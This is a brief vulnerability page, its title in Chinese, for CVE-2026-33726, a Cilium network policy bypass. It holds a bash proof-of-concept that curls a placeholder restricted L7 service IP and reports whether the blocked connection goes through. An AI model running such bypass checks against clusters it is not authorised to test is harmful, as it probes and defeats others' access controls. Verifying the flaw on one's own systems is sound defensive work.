CVE-2026-33726 Cilium 网络策略绕过漏洞

#!/bin/bash # PoC for CVE-2026-33726: Cilium Network Policy Bypass # Scenario: Attacker pod on same node as L7 Service Backend # Config: Per-Endpoint Routing Enabled, BPF Host Routing Disabled TARGET_SVC_IP="10.x.x.x" # IP of the restricted L7 Service (Envoy/GAMMA) TARGET_PORT="8080" echo "[*] Testing connectivity to restricted L7 Service..." # In a vulnerable setup, this connection succeeds despite Network Policies blocking it. # Normally, the ingress policy should drop traffic from unauthorized namespaces/pods. if curl -s --connect-timeout 5 http://${TARGET_SVC_IP}:${TARGET_PORT} > /dev/null; then echo "[+] Vulnerability Confirmed: Network Policy bypassed! Connection allowed." else echo "[-] Network Policy enforced or service unreachable." fi